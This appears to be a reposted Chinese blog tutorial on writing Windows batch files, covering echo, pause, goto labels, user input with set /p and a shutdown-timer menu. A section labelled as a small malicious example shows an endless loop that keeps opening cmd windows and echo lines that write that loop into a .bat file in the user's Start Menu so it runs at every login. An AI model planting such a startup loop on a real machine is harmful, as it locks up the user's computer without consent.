ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

批处理编写

2021-09-07 20:58:54  阅读:161  来源: 互联网

标签:bat goto 批处理 echo start userprofile% 编写


文章目录

批处理编写

  • 批处理文件又叫脚本

  • 批处理处理的是命令

  • 某条命令出错会继续执行下一条命令,从上往下执行,直到最后一条命令执行完毕.

  • 命令先后顺序十分重要

  • linux里面叫shell脚本

如何创建批处理?

  • 扩展名:.bat
  • 方法:新建一个记事本,然后将扩展名改为.bat
  • 特有命令(在批处理中才有意义)
    • pause-----》执行到pause会暂停
  • 批处理中的第一句话
    • @echo off------->屏蔽执行过程
  • title 标题-------->给批处理加上一个标题默认是cmd.exe
  • echo.------------>空一行
  • ping -n 延迟的时间 127.0.0.1 >nul 2>null------>显示的结果是卡在那里
  • nul 2>null------->不能执行时不会报错
@ echo off
color 0a
title xxx
d:
cd \
fsutil file createnew d:\sys.ini 40000
  • :----------> 给命令划分区块,: 后面的文字是给区块其命令的

    • : 单独使用没有任何意义。
    • 需要与goto xxx 连用,跳转到某区块。
  • start 路径(或网址)

    • start ------>打开cmd
    循环出现cmd
    :d 
    start
    goto d
    
  • 开机就启动批处理文件

    • % %------>取值
    • userprofile---------->变量,储存当前
copy 启动路径
copy "%userprofile%"
  • set /p a=请输入时间:
    • a是咱们定义的变量,“请输入时间:”—>这是写给用户看的。
    • /p--------->会暂停

菜单案例实现

@echo off
color 0a
title 菜单
:menu
cls
echo =============
echo   菜单
echo 1.定时关机
echo 2.取消关机
echo 3.退出
echo =============

set /p num=请输入选项:
if %num%==1 goto 1
if %num%==2 goto 2
if %num%==3 goto 3

:1
set /p time=请输入时间:
shutdown -f -s -t %time%
goto menu

:2
shutdown /a
goto menu

:3
exit

恶意小案例

1:
start
goto 1
copy %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu------>进入到开始菜单
echo a: >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo start >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo goto a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"

补充

  • 查看已知文件的扩展名-----》文件夹选项
  • 更改颜色 color 0a-------->第一个数字是背景色,第二个数字是文字颜色

标签:bat,goto,批处理,echo,start,userprofile%,编写
来源: https://blog.csdn.net/weixin_59269336/article/details/120167065

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有